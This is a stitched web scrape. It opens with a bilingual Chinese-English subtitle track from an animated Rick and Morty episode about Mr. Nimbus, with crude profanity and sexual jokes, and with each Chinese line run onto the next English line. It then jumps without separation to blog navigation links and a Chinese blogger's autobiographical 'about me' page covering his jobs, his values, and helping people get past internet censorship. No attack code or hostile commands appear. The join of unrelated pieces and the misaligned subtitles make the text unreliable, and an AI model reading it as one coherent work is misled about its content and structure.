I-I got a girl over, and I really, really like her.-我只是很紧张 -我懂
-I-I'm just nervous. -Oh, I know that feeling.我刚开始跟波娃交往时
When I first started seeing Bova,我满脑子都担心自己会搞砸
I could only think about all the ways I was gonna mess it up.-后来怎么办的 -我搞砸了
-So what'd you do? -Oh, I messed it up.但我找到了能接纳我这点的人
But I found the one who loves me for that.谢谢 我需要你的鼓励
Thanks. I-I really needed to hear that.-来 拿一瓶走吧 -不用了
-Here, -t-take one of these. -Oh, you don't have to.不 我坚持 祝你有美好的一天 小蹄
No, I-I want to. You have a good day, Hoovy.祝你跟那个女生玩得开心
You have a great time with that lady up there.-放轻松 -没问题
-Just relax. -Will do!波娃
Bova?你为什么离开我们 爸爸
Why did you leave us, Father?贾费 你什么时候出生的
Japheth? When were you born?我向妈妈发过誓 只要遇到你
I swore to Mother if I ever met you,就会为她复仇
I'd avenge her.不是我的错
It wasn't my fault.那是谁的错 是谁
Whose, then? Whose?!从魔法门来的那个小男孩
The boy from the magic door.我们来讨论条约内容 好吗
Shall we discuss terms?好 没问题 内容如下
Yeah, fine. Whatever. Terms.第一条 我是海王
Term number one -- I am King of the Ocean.我拉屎的地方 继续
The place I shit? Go ahead.第二条 别在海里拉屎
Term number two -- Stop shitting in the ocean.我听不懂
No idea what you're talking about.真好喝 再来一瓶
Delicious. Another.我其实想拿这瓶
Oh, uh, well, I-I was thinking of using this one for --莫蒂 快给他 天啊
Morty, just give him the bottle. God damn.再来
Another!莫蒂 拿到酒了吗
Morty, you get the wine?杰西卡 抱歉
Hey, Jessica. Um, yeah, sorry.我正要回去拿
I just -- just going back to get it.你不是刚去了
Oh. I thought you already went.对 但我有点事
I did! I just -- just got a little busy.我现在再去一次
Going right now, again!你先准备电影
You go ahead and fire up that movie!没关系 我等你回来
That's okay. I'll wait for you.天啊...
Holy shit, holy shit, holy shit, holy shit!我等你好久了
I've been waiting for you.天啊 你是小蹄 对吧
Oh, wow. Hoovy, right?别说他的名字
Never say his name!天啊
Jesus Christ!为什么每个老人都这么壮
Why -- Why is every old guy super jacked?抱歉
Sorry! I'm sorry!我只是要拿酒 抱歉 住手
I-I just need the wine! I'm sorry! Stop it!我要杀了你
Fucking kill you!好吧 算了
Ow! Okay, screw this!知道吗
You know what?-是你 -对 去死吧小蹄
-You! -Yeah, fuck you, Hoovy!爸爸
Father?就是他 我就说他会再来 天啊
It's him! I told you he'd come back! Holy shit.好 但他十秒钟前还没这么老
Okay, look, he wasn't old like 10 seconds ago.你这个混蛋
Ow! Mother fucker!对不起 爸爸 我们应该相信你的
I'm sorry, Father. I'm sorry we never believed.他会回来的
He'll come back.阻止他
Stop him.爸爸 我们干嘛守门
Papa, why do we guard the gate?因为黑暗之子总有一天会再来
Because one day, the dark child shall return.而我们会做好准备
And we will be ready.好吃
Delicious.负责端酒的人呢 我好渴
Where is your wine boy, Richard? I thirst.他去拿了 别这样吃贝奈特饼
He's getting it. Stop eating beignets like that.一种法式无孔甜甜圈
"参与者若因高潮而死"
Participant voids all liability"不得求偿"
in the event of death by orgasm?我们真的要这样做吗
Are we really ready to open things this wide?如果变得尴尬呢
What if it gets weird?如果我爱上他呢
I fall in love with him?不 该死
No, no, no, no, no. Damn it!怎么回事
What was that?你又在搞鬼吗 理查德
Another scheme of yours, Richard?我知道你有阴谋
I know you're planning something.没什么 失陪一下 好吗
It's nothing. Will you excuse me, please?搞什么鬼 酒在哪里
What the fuck is going on? Where's the wine?爸爸刚刚在发春 害我摔破了
Dad was horny and I dropped it.真不敢相信你竟然搞砸了
God, I can't -- I can't believe you're fucking this up.我没搞砸 刚刚有个人
I'm not fucking it up! There was a guy in the thing and --你每次都一堆借口
There's always a guy in a thing!让宁波等太久可是会没命的
Land dwellers do not keep Nimbus waiting and live.我马上过去 该死
Be right out! Goddammit.你把我搞得像在演《欢乐一家亲》
Do you see this whisper kitchen "Frasier" bullshit美国喜剧
懂吗 莫蒂 快去拿酒
you're making me do? Morty, just get the wine.贝丝和杰瑞 别想跟宁波做爱
Beth and Jerry, stop trying to fuck Nimbus.-是他提议的 -不会是在这里
-Well, we wouldn't do it here. -I'll have you know he propositioned us.他对任何人都这样提议
He propositions everybody!杰西卡
Hey, hey, hey, Jessica.-怎么了 -你好像很忙
-W-What's up? Seems like you're busy.不 我只是有状况
No, no, no! I ran into a little trouble.但我马上就要去拿酒来了
But -- But -- But I'll go get that wine right now.但你已经这样说过两次了吧
But you said were going to get it like twice already.没错 我现在真的要去拿了
I-I-I was and I-I'm getting it right now.天啊 是他
Holy shit, it's him!真是的 你们要我怎样
God damn it! What do you want me to say?!对不起
I-I'm sorry!我们总算打败他了
We finally beat him.但我们要保持警觉
But let's always remain vigilant世事难料
because you never know.他或许还会再来
He might be back one day.好 纳尼亚 来吧
Okay, Narnia! Let's go.放马过来
Let's fucking go!结束了 那男孩不会再来了
It is over. The boy is not coming back.他一定会的
He always comes back.你害我们赔上了人生
You have wasted our lives,还有未来 只为了一个虚构故事
our very futures, on a fantasy!-一个谎言 -我确实看到了
-A lie! -I know what I saw.你什么都没看到
You saw nothing!蠢孩子
You are a foolish boy!勇于看见
Those called fools真相的人才会被骂蠢
are the only ones brave enough to see the truth.告诉我 父亲
Tell me, Father.我还很蠢吗
Am I a fool now?我出生于这些石块的制造地
I was born in the pits that made these stones.我花很久时间建造这座谎言圣殿
I lost my years building a temple to a lie.所以我就把说谎当成我的能力
So I made lies my power.能力其实就是我们...
And what is power but a lie we --天啊 是真的...
Oh, shit, he's real!他是真的 我错了
He's real! I was wrong!我搞错了 大错特错 神是...
I was so wrong! God is real!服务真棒 我会给
Wow. Impeccable service.-很多小费 -我比较喜欢另一个
-Big tip. -I liked your other one more.他叫什么 凯尔吗
What was his name? Kyle?-什么 -没事
-What? -Nothing.我们可以快点签约吗
Can we just sign this thing and go?-杰西卡 真抱歉 -没关系
-Jessica, -I-I'm so sorry. -I mean, it's fine.你才离开几分钟而已
You were only gone like a couple minutes.莫蒂 你还好吗
Morty, are you okay?抱歉 杰西卡
I'm -- I'm sorry, Jessica.我们每次都搞砸 对吧
We just never seem to get it right, do we?是啊 的确如此
No, I guess we don't.但我很高兴你打电话给我
But I'm glad you called me.我们可以重来 这次别再搞砸了
Maybe we can start over, get it right this time.好 我也想这样
Yeah. I'd -- I'd like that.谢谢你拿酒来
Thanks for bringing the wine.非常值得
Totally worth it.需要开瓶器吗
Do we need an opener?我去拿
Oh. I'll -- I'll -- I'll go get it.我很喜欢签约 要签了吗
I do so love to sign upon the dotted line.-没错 -天啊
-Shall we? -Jesus Christ, yes.你的证人是谁
And who is your witness?我的证人是这只鱿鱼
My witness is the squid.你很喜欢海洋世界主题 对吧
Really proud of this SeaWorld theme, aren't you?快去找证人 别怪到我头上
Hey, just get a witness, man. Don't make this about me.或许他没有值得
Or perhaps Richard has no one托付生命的人
with whom he can trust his life.除了我以外
Who truly knows him.没有人真正了解他
Save me. Fine!好吧 我去找人 天啊
I'll get someone. Oh, my God.莫蒂 过来 我需要你做件事
Morty! C'mere. I need you for some bullshit.瑞克 我达成你的每一项要求了
Look, Rick, I've done everything you've asked.我能好好陪我女朋友吗
Now can I just have some time with my girlfriend?女朋友
Your girlfriend?她不是...我们接吻了
I mean, she's not -- we kissed,但我想慢慢来
but I'm just trying to take it slow.不可以太操之过急 懂吗
You gotta give these things time to breathe, y'know?你知道你的特别之处吗 亚当
Do you know why you're special, Adam?-因为我是旅行者 -对
-Because I am The Traveler? -Yes.你会穿越那扇门
You will be the one to pass through the door.你会终结我们的痛苦
to end our pain.那我的痛苦呢 妈妈
But, Mother, what about my pain?你的痛苦会解放我们
Your pain shall set us free.该开始了
It is time to begin.再来
Again.再来
Again!-你还没准备好 -拜托 妈妈
-You are not ready. -Please, Mother --你以为他会放过你吗
Do you think he will show you mercy?看他对我们做了什么
Like he did to us?再来
Again!有人需要什么吗
Does anyone need anything?-天啊 -别评断我们
-Holy shit! -Don't judge.我们夫妻要一起成长
We're growing as a couple! Aah!怎么会这样
Why is this happening to me?!为了未来
For the future!你竟然想暗杀宁波
You dare assassinate Nimbus?抱歉 等等 他是谁
Sorry. Wait. Who -- Who is that?还没轮到你 老兄
Get in line, pal!真是浪费
Such a waste.妈妈
M-Mother?杰西卡
Jessica!你就是非碰海不可
You just had to touch the ocean.闭嘴
Aaah! Shut up!我没时间...
There isn't time to --全都搞砸了 被你搞砸了
It's all fucked! And you fucked it!你来的太早了
You're early.这是哪里
W-What is this place?是终点也是起点
The end. But also a beginning.-每个终点都是起点 对吧 -后退
-Isn't every end a beginning? -Stay back!别跟我说些日舞科幻鬼话
I don't want your stripped down Sundance sci-fi bullshit.-杰西卡在哪 -杰西卡
-Where's Jessica? -Jessica.那是她的名字 对吧 谢了 莫蒂
That was her name, wasn't it? Thank you, Morty.我都忘记了 对了
I had forgotten. Oh, right.你可以用这个
You'll be needing this.酿酒
For the wine.天啊 我们骗到他了
Oh, shit, we got him!你敢相信他被这些鬼话骗了吗
Can you believe he bought that fucking tree bullshit?我们骗到他了
We fucking got him!非常好
Very well.想跟亚特兰蒂斯开战 就顺你意
If you seek war with Atlantis, you shall have it.我之前上美人鱼时
Oh, I've already been to war with Atlantis就已经开战了
when I D-Day'd that Mermaid Puss!我就知道是你
I knew that was you!准备离场车队
Prepare my exit parade!跟你爱的干燥陆地道别吧
Say goodbye to your precious dry land!这里很快就会变湿 超级湿
For soon it will be wet! Wet!全球变暖已经弄湿陆地了 混蛋
Yeah, global warming is already doing that, asshole.尽管来吧 让我们变得更湿一点
But sure, yeah, go for it. Make us slightly more wet!你把我当笑话
Am I a joke to you?对 没错
Yes, you are a fucking joke!你烂透了 你一直都很烂
You fucking suck! You've always sucked!知道我们为什么好几年没打仗吗
Y-Y-Y know why we haven't fought in years?因为你很可笑
'Cause you're an embarrassment to me我不需要你了
and I don't need you anymore.我不靠别人
I don't need anybody.都在跟任天堂做爱
All I do is eat ass and 69 Nintendos, bro.-每一天 -或许你会讨厌我
-Every day. -Or maybe you hate me是因为只有我知道你变得多惨
because I am the only man to see how far you have fallen.我曾经害怕你 尊敬你
I used to fear you. Respect you.但我现在只会可怜
Now all that's left is pity --你这可悲酒鬼
for a sad, drunk shell of a man你不敢承认自己有多寂寞
too afraid to see how alone he truly is.如果戴安还活着 她会怎么...
If Diane were alive today, what would she think --瑞克已故妻子
少跟我讲
Don't fucking establish另一个时空的
canonical backstory with背景故事
me, you Red Lob--很好 你醒了
Oh, good. You're awake.我只是拿了些酒
I just took some wine!我都道歉了
I said I was sorry.你们是有什么毛病
What the fuck is wrong with you people?!我已经思考这件事好几世纪了
I have been asking that for centuries.他们创造我是为了研究你 莫蒂
I was created to study you, Morty, to know you.但我越仔细看
But the closer I looked,就越不认识自己
the more I do not recognize myself.好吧 我其实没时间...
Uh, yeah, man, I really don't have time for --如果没有你 我们会是什么人
I have often wondered who would we be without you, Morty?我们除了恨意还有什么
Are we anything beyond our hatred?她来的时候
And when she came,我以为她会是答案
I thought she would be the answer.被冻结在时间内 永远沉睡着
Frozen in time. Forever asleep.我们不懂她的意义
We could not understand her purpose,就把她隐藏起来
so we hid her away.我们为什么都要隐藏...
Why do we always hide the truths we fear?我才不在乎
I don't give a shit, nerd!-放了她 -我干嘛复制生殖器
-Let her go! -Why -- Why did I clone myself genitals?我不在乎 混蛋 快点
Ow! I don't care, bitch! Do it!我就是混蛋
Ooh! Asshole! Yeah, guess I am an asshole!有时候就得当混蛋
Y'know, sometimes you gotta be an asshole!这是我外公教我的
My grandpa taught me that!好吧...
Okay, okay, okay, fine!-莫蒂 -杰西卡
-Morty? -Hey, Jessica.你一定睡得很熟 对吧
Wow. Must've been some nap, huh?我不知道该怎么称呼这些东西
I-Is that ooze or -- I'm not sure what to call it.看起来像分泌物
It l-l-looks like ooze.好了 我们之后再聊
Okay. W-We can catch up later.什么...
What the --瑞克
Rick! Rick!-死龙虾 -瑞克
-...obster motherfucker. Rick!-管他的 我在干嘛 -救命
Screw this. What am I even doing? -Help!你要去哪
Where are you?快回来 我会把陆地变湿
Come back here. I'm going to make the land wet!我倒想亲眼看看
Y'know what, I'd love to see it.放马过来 随便你做什么
Do it! God, do anything!但别再拿我当借口了
Just don't use me as an excuse anymore!瑞克
Rick! Wow.天啊 真火爆
That was intense.你压力很大吗
You look stressed.我们签了文件 我得走了
We signed the paperwork. I must go.你们有我们的电话
Well, your people have our number!那只海星不是说有礼物篮吗
Your starfish mentioned some kind of basket?-莫蒂 能不能别... -停止...
-Jesus, Morty. Stop! -No, no! Not today!你不能就...
Can't you go one day without --You don't get to ---什么... -我搞砸了 好吗
-What the -I fucked it up, okay?没关系 莫蒂 你就是这样
It's okay, Morty. That's what you do.现在让我来拯救一切 带你们回家
Now lemme Deus Ex Machina this shit and let's go home.天啊 为什么大家都变成机械鸟了
God, why does everyone go Cyber-Punk Bird?真无趣
So fuckin' hack.该死
Oh, shit.还真酷
Well, that's cool.好吧 我们好像要完蛋了
Okay, we might be a little fucked.你以为我会让你死吗 理查德
Did you think I would let you die alone, Richard?我是宁波先生
I am Mr. Nimbus!你还有时间看电影吗
You -- You still got time for that movie?对 时间
Yes. Time.我有很多时间
I had nothing but time.无尽的时间
Endless time.一开始只有疯狂
At first, it was madness.然后是启示
Then enlightenment.然后又是疯狂
Then madness again.但这或许是好事
But perhaps it was a gift.我看到了时间的生命
I could see the life of time.正当我见证着时间
And as I watched the life of time悲惨的那一面
in all its fleeting, terrible light,我陷入了沉思 我有活过吗
I wondered, had I lived?我只是其他人故事中的物件吗
Was I just the object in another's story?我就仅此而已 这点能改变吗
Was that all I ever was? Could I be more?我有非常多的时间 却没有答案
I had nothing but time and still no answer.没有意义的时间就像牢笼
Time without purpose is a prison.我看到了永恒的思想
I have glimpsed into the mind of eternity.或是神的思想
Perhaps the mind of God.但我只找到寂静
And found nothing but silence.我们还是当朋友就好
I think we should just be friends.好吧
Oh, yeah.我能理解
I-I-I get that.我们错过了时机
Guess we missed our moment.对 但我们都会有
Yes. But there will be more.其他时机
For both of us.再见了 莫蒂
Goodbye, Morty.你好吗
Hey, how's it going?滚 我是时间之神
Fuck off! I'm a Time-god!我又跟你一同作战了 理查德
Fighting by your side again, Richard.-感觉很... -没错
It was, uh --Yeah.那就不用签条约了
Then there is no treaty.我们停战
Because there is no war.宁波
Aw, Nimbus.你人真好
That's -- That's really chill of you, man.理查德
Richard.你在成为我的宿敌之前
Before you were my greatest enemy,是我唯一的朋友
you were my only friend.外公 我弄到贝壳了
Grandpa, I got the shell! Shit.-听着 宁波 -王八蛋 叛徒
Okay, Nimbus, look. You son of a bitch!拿武器来 莫蒂
Betrayal! My weapons, Morty!被我用光了
I-I-I used them all! Grandpa!外公 我该怎么办
Wait, Grandpa, what do I do?贝壳在我这里 我要吹吗
I have the shell. Should I blow it?我直接吹好了
Is that -- I'm -- I'm just gonna blow it!不要吹 砸烂它
Don't blow it! Destroy the horn!夏茉 你搞什么
What the hell, Summer?!要把贝壳砸烂
You were supposed to destroy the horn!我怎么会知道
How was I supposed to know that?警察
Police!把这人渣关进牢里
Take this piece of shit to jail.我说过了
I told, ugh, I told you.他是冷血下体杀手
He's an ice-cold dick killer!宁波
Nimbus!等等 他怎么...
Wait. So how can he --天啊 夏茉 他是宁波
Jesus, Summer. He's Mr. Nimbus.他能控制警察
He controls the police!杰瑞 太多安全语
Jer, I think more than one safe word就失去意义了
sort of defeats the point.我只是希望
I know, I just wanna make sure我们能有机会喊停
we have every opportunity to stop.但我很期待
Super excited about it though.我也很期待
Me too, so excited.杰瑞 我们是真的想这么做吗
Jerry, are we doing this because we both want this?还是我们以为对方想这么做
Or because it's what we think the other one wants?我只是想证明我很爱你 愿意为你
I just wanted to prove that I love you so much做这种事 我也是
I would do this for you! Same!我们拿完奖品就走吧
Let's take that prize and get out不要犯下大错
before we make a huge mistake.后悔了
Getting cold feet?不
No.-别告诉瑞克 -他不会懂的
-Please don't tell Rick. -He wouldn't understand.会 他会懂的
Yes, he would. - 博客 构建我的被动收入 2001-01-01 08:00:00My talks
- 博客 构建我的被动收入 2001-01-01 08:00:00关于我
- 博客 构建我的被动收入 2001-01-01 08:00:00华盛通证券开户指南
- 博客 构建我的被动收入 2001-01-01 08:00:00我的朋友们及我关注的博主
- 博客 构建我的被动收入 2001-01-01 08:00:00地址证明如何办理
- 博客 构建我的被动收入 2001-01-01 08:00:00外汇汇款到境外银行教程指南
- 博客 构建我的被动收入 2001-01-01 08:00:00通过个人产品、项目、副业建立被动收入
- 博客 构建我的被动收入 2001-01-01 08:00:00分享我在使用的一些产品和服务，基准是我正在使用的感觉不错的东西
- 博客 构建我的被动收入 2001-01-01 08:00:00分享我在使用的一些实用小工具
- 博客 构建我的被动收入 2001-01-01 08:00:00我的愿景与目标
- 博客 构建我的被动收入 2001-01-01 08:00:00投资组合管理服务
- 博客 构建我的被动收入 2001-01-01 08:00:00新加坡华侨银行（OCBC）开户指南
- 博客 构建我的被动收入 2001-01-01 08:00:00本站品牌广告
- 博客 构建我的被动收入 2001-01-01 08:00:00熊猫速汇教程指南
- 博客 构建我的被动收入 2001-01-01 08:00:00盈立证券新加坡开户指南
- 博客 构建我的被动收入 2001-01-01 08:00:00长桥新加坡证券开户指南
- 博客 构建我的被动收入 2001-01-01 08:00:00长桥香港证券开户指南
- 博客 构建我的被动收入 2001-01-01 08:00:00香港长桥证券 X 我的投资助手【开户活动】
- 博客 庭说 1994-01-25 00:00:00
一个怀有自由主义的愤青，应该怎样去看待这个世界。
进化路径
见自己
间歇性自信，持续性自卑。
- 在这个年纪（1994 年生），我给自己贴满了标签。成长，也许就是慢慢撕掉这些 Tags 的过程吧。到人生的晚期，应该会浓缩为一句话。
- 斜杠青年：指的是从事过多种职业的年轻人。因为他简历的「职业」一栏，会填写很多不同的工作，需要用斜杠分隔。
- 大学三年级开始逃课（Talk）玩公众号（目前也就五百多个关注者），慢慢地就喜欢上 写东西（addicted to type my life），不过是纸上谈兵的 Loser ( lack of effort)。
- 城市是孤立而乏味的存在，而我是一位越长大越孤独的「空巢青年」。比较怀旧，喜欢收集电影票，车票，景点门票。有时候，我觉得自己是无所不能的 Pickle Rick（腌黄瓜瑞克）。
- 做事从兴趣出发，不注重回报。
- 因为成绩好（因为其他都不爱学习），从四年级到初三都是班长，但不喜欢当领导者，甘愿做配角。每个人都有自己的选择，我选择做一个普通人，安安静静地做一棵「小草」，享受阳光和雨露，不会幻想成为一颗参天大树。
- 外表巨黄，内核巨纯的宅男（homebody）。挖掘并接纳自己的特异性，做到精神上的强健。
- 丝毫不矫饰，绝对不虚伪，坦诚是我唯一的社交技巧。写的文章越多，我越难说出违心的话（相信科学和事实），因此没和身边的人吵架，也意味着不善交际（lack of social skills）。
- 从小学四年级到大学四年级都住在校，只有长假才回家。没在养尊处优的环境里长大，所以哪里都睡得着。
- 穷则独善其身，尽量不要被这个世界同化。对抗消费主义，人生不是挣钱，买东西，挣更多的钱，买更多的东西。倡导极简生活方式（简单、干净、纯粹），因为快乐并不是由所拥有的物质多寡决定的。只要能够独立生活，我对物质没有任何渴求。
- 在这个 Golden Age，虽然身居陋巷（所幸采光极好），但因为一直保持着勃起的好奇心，我的精神世界无比富足。
- I never want things to be dull. 我永远不希望事情变得单调乏味。by Pavel Durov（帕维尔·杜洛夫）
- I am focused, intense even.
- 一想到锋利的刀锋，心里就会戈登一下。
- 我从未长大，但从未停止成长。
见天地
去认识这世界。
- 长期浸泡在 科技互联网，Google 是我的互联网启蒙老师，一刻也不能离开。
- 几乎不看书，记忆之中，唯一完整看过的书是《暗访十年》。
- Everything is learnable，知识杂乱且爱好广泛（versatile）的斜杠青年（对很多东西浅尝辄止），所以我是一个注意力涣散的低效能人士。虽然一些读者称呼我为「宝藏男孩」，但这些不过是「拾人牙慧」罢了，Google 一下就能找到的东西，我只是个搬运工。
- 追求优雅的 排版 并自豪的采用 Markdown 记录一些。
- 目前在
努力学英语，争取有朝一日可以肉翻出国。 - I'm into the design（平面设计），并设计了 庭说的 Logo。喜欢 摄影，反感过度美颜。喜欢看科幻电影，特别是太空片。
- I'm a big fan of basketball，但是从来不看 NBA。
- 海贼王（One Piece）十年铁杆粉（目前只看动漫）。
- 也许人生本来就没有任何意义，我们只是 自私的基因 的奴隶。明白这个生物学本质之后，变得更没有野心，日子越过越禅，随时随地随遇而安，每天都睡得很香。
见众生
把经验传授给大众。
- 铁肩担道义，拙笔著文章：从小到大，我受到很多人的照顾，有认识的，有不认识的。现在我长大了，有反哺之义，带读者们跨越「数字鸿沟」，更全面的看世界。
- I am a fun person and willing to rethink everything. 秉持唯物主义，凡事要讲科学依据（摆事实，看数据，讲道理）。不信鬼神（superstition），不信星座，不信红内裤，不信传统中医（traditional herbal remedies）和针灸。如果信这些，上学（受教育）还有什么意义？
- 我们为什么要读书 - 罗翔：只有非功利性的阅读，才能对抗人生的虚无。
我也有一个问题，是这样的：什么是知识分子最害怕的事？而且我也有答案，自以为经得起全球知识分子的质疑，那就是：「知识分子最怕活在不理智的年代。」所谓不理智的年代，就是伽利略低头认罪，承认地球不转的年代，也是拉瓦锡上断头台的年代；是茨威格服毒自杀的年代，也是老舍跳进太平湖的年代。我认为，知识分子的长处只是会以理服人，假如不讲理，他就没有长处，只有短处，活着没意思，不如死掉。by 王小波《知识分子的不幸》
人类形态
局部
- 👨🦳 头发：刺猬头；纵使年纪轻轻，白头横生。
- 🤨 眉毛：浓密粗横。
- 👀 眼睛：茶色。
- 👂 耳朵：佩戴耳机 🎧 半小时以上，就会开始疼。
- 😏 酒窝：在我念初中的时候，有一个「乒乓球拍」从天而降，砸在我稚嫩的左脸上，就这样，一个「人造酒窝」诞生了（右边没有酒窝）。
- 👄 嘴巴：睡觉的时候会打呼噜（学生时代，因此被人恶作剧），并会张开嘴巴。
- 🦷 牙齿：唯一被人夸赞的器官，所以拍照的时候，我特别爱笑，人送外号「阳光男孩」。
- 🙄 脸蛋：我的脸像钟乳石（很多麻子），纯正的自然风光。by 《自夸小队》
整体
- 很多词可以形容我，帅气可不在其中。
- 我就是个荔枝。外面看起来很难看，坑坑洼洼的，但里面还挺甜的。但是最里面，又有很硬的东西。by 李志
- Not good-looking，自卑到几乎不照镜子，所以房间里没有镜子。直到 2019 年，才买了人生的第一面镜子。
钟爱之物
幸运数字
56是《海贼王》路飞（Luffy）某件 T 恤上的号码，日文 56 和橡胶同音。
爱吃的水果
- 冬枣
- 榴莲
- 黑布林
爱吃的菜式
- 酿苦瓜、酿茄子 🍆
- 荷包蛋（鸡蛋 + 肉末）
高光时刻
- 2016 年 3 月 3 日：那时我刚学会 科学上网，一位叫「南极雪」的网友送给我一个生日礼物：草榴社区 会员，按照约定，我手抄了一千六百字（6 页纸）的 技术讨论区的版规。虽然我成了「上榴人士」，但等级至今还是「新手上路」。
- 2018 年 3 月 13 日：我把一条评论 中华人民共和国宪法修正案（2018年） 的 Twitter 转发到 24 人的微信群，紧接着我被最近的派出所请去「喝茶」，罪名是「传播不当言论」。
- 2019 年 3 月 15 日：我开始耐心地帮助（ 外贸）网友 翻越围墙，出海做生意。我深知，自己可能再次「锒铛入狱」，但是自由可贵。助人为乐（helpaholic），让我找到些许人生存在的意义。It feels good to help people.
工作经历
频繁换工作是 loser 做的事情，下面是我的至暗时刻。
2017-04-01
毕业前，我没有选择专业（智能电网信息工程）内的工作，也没有考公务员。凭着运营「庭说」公众号的粗浅经验，和对 Google 的向往，加入一家做外贸路由器的创业公司（3 年），岗位是新媒体编辑。
做了几个月，受不了虚假宣传，例如路由器只能带十几个设备，我却要夸大成上百个设备。受不了标题党的写作文风，6 月末辞职。但是在秋天，这家公司被不可抗力 取缔 了。
2017-07-17
上一份工作是毕业前的试错。但毕业后，我依然很迷茫。不如从事专业相关的工作试试，万一又喜欢上了呢？
在 Friendcom 做了 8 个月的电能表测试工程师。2018 年 3 月 23 日，转岗到市场部做展会执行与平面设计助理。公司经济收益下行，直接「砍」掉了整个市场部，2018 年 11 月 15 日，被迫主动离职。
2018-12-04
接着来到 CLOU 继续做硬件测试工程师。之前是住在公司，现在每天要六点半起床，回到家都晚上八九点，而且在高楼大厦苦等电梯。寄宿在亲人家，也不自由，确信了自己对「电气」始终提不起兴趣，于是第 3 次辞职，再一次 reached a crossroads of my life.
2019-03-04
为了还清「被强加」的贷款（年金保险），草草地加入了一家离家近创业公司（放弃钱多的市区工作），开始卖东西给外国友人。但是在订单碎片化的大潮下，日子并不好过。一直拿着微薄的底薪，但是很自由，没有大公司的条条框框，也能自学很多知识。而且自己住，自己做饭，特别快乐。
也没想着挣大钱（可能是因为还没有家庭的压力），基本的温饱就可以让我保持强健的身体和自由的精神，虽然我吃鸡蛋，你吃鲍鱼，但我一点都不羡慕，因为科学知识告诉我，人体必须的营养元素就蕴藏在普通的食材之下。朴素生活，高尚思考（Plain living and high thinking）。
仔细想想，得以存在便是一个奇迹，能够思考就是一件乐事。by 《呼吸》
2020-05-11
还个人情债，加入姐夫创立的 电动自行车充电器（电源）公司 打杂：采购、助理硬件工程师、平面设计师、展会助理……
2020-12-01
通过 Telegram 教程，一位读者邀请我回到外贸行业，售卖小米生态链的电动自行车和电动滑板车。作为米粉的我，于是就加入了 Grazy。但是通勤时间来回要 3 个钟。
2021-03-16
深夜偶然在招聘网站上认识一位老板，主营美国娱乐大麻的儿童安全包装（Child-resistant packaging），聊得挺投机，于是又加入了一家创业公司。
意向职业
在唯利是图的商业社会可能没有对错，但是有善恶。目前为止，庆幸自己还没有成为金钱的奴隶（对钱不敏感），大多数时候都是站在善的那一方。这种反商业的行为（羞于谈钱，耻于言利），让我在职场中不受待见，我对大部分工作也提不起兴趣，因为：
- 不能长续发展，容易被 AI 取代
- 不能解决现存的人或社会问题，推动社会良性发展
所以要找到一份对自己和社会都有意义的工作，注定是一个漫长之旅（被社会毒打之旅）。但我不希望自己像个受害者（挣不到钱或被解雇），我选择做什么样的事，选择什么样的立场，就知道会有什么样的结果。唯一让我愧疚的是，父母好不容易供出一个大学生，却不能为二老提供更好的物质条件。感谢 5 个姐姐和 1 个哥哥对爸妈的照顾，让我可以在年轻的时候，不以钱途为重，多做一些喜欢的事情。
最后，如有合适的工作机会，欢迎向 我 引荐（目前的现居地是深圳）。或者与我交流：what do you think I should do?
关联阅读：关于我 - Jesse Chan
